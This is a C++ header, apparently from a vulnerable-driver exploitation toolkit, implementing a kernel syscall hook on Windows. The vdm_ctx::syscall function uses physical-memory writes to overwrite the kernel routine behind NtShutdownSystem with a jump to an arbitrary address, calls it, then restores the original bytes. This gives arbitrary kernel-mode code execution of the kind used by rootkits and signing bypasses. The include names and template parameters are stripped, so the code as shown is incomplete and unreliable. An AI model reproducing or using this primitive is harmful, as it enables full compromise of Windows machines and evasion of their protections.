#pragma once #include #include #include #include #include #include #include "../vdm/vdm.hpp" namespace vdm { constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; inline std::atomic is_page_found = false; inline std::atomic syscall_address = nullptr; inline std::uint16_t nt_page_offset; inline std::uint32_t nt_rva; inline std::uint8_t* ntoskrnl_buffer; class vdm_ctx { public: vdm_ctx(); template __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const { static const auto proc = GetProcAddress( GetModuleHandleA(syscall_hook.second), syscall_hook.first ); static std::mutex syscall_mutex; syscall_mutex.lock(); // jmp [rip+0x0] std::uint8_t jmp_code[] = { 0xff, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; std::uint8_t orig_bytes[sizeof jmp_code]; *reinterpret_cast(jmp_code + 6) = addr; vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); // execute hook... vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); auto result = reinterpret_cast(proc)(args ...); vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result; } private: void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; bool valid_syscall(void* syscall_addr) const; }; }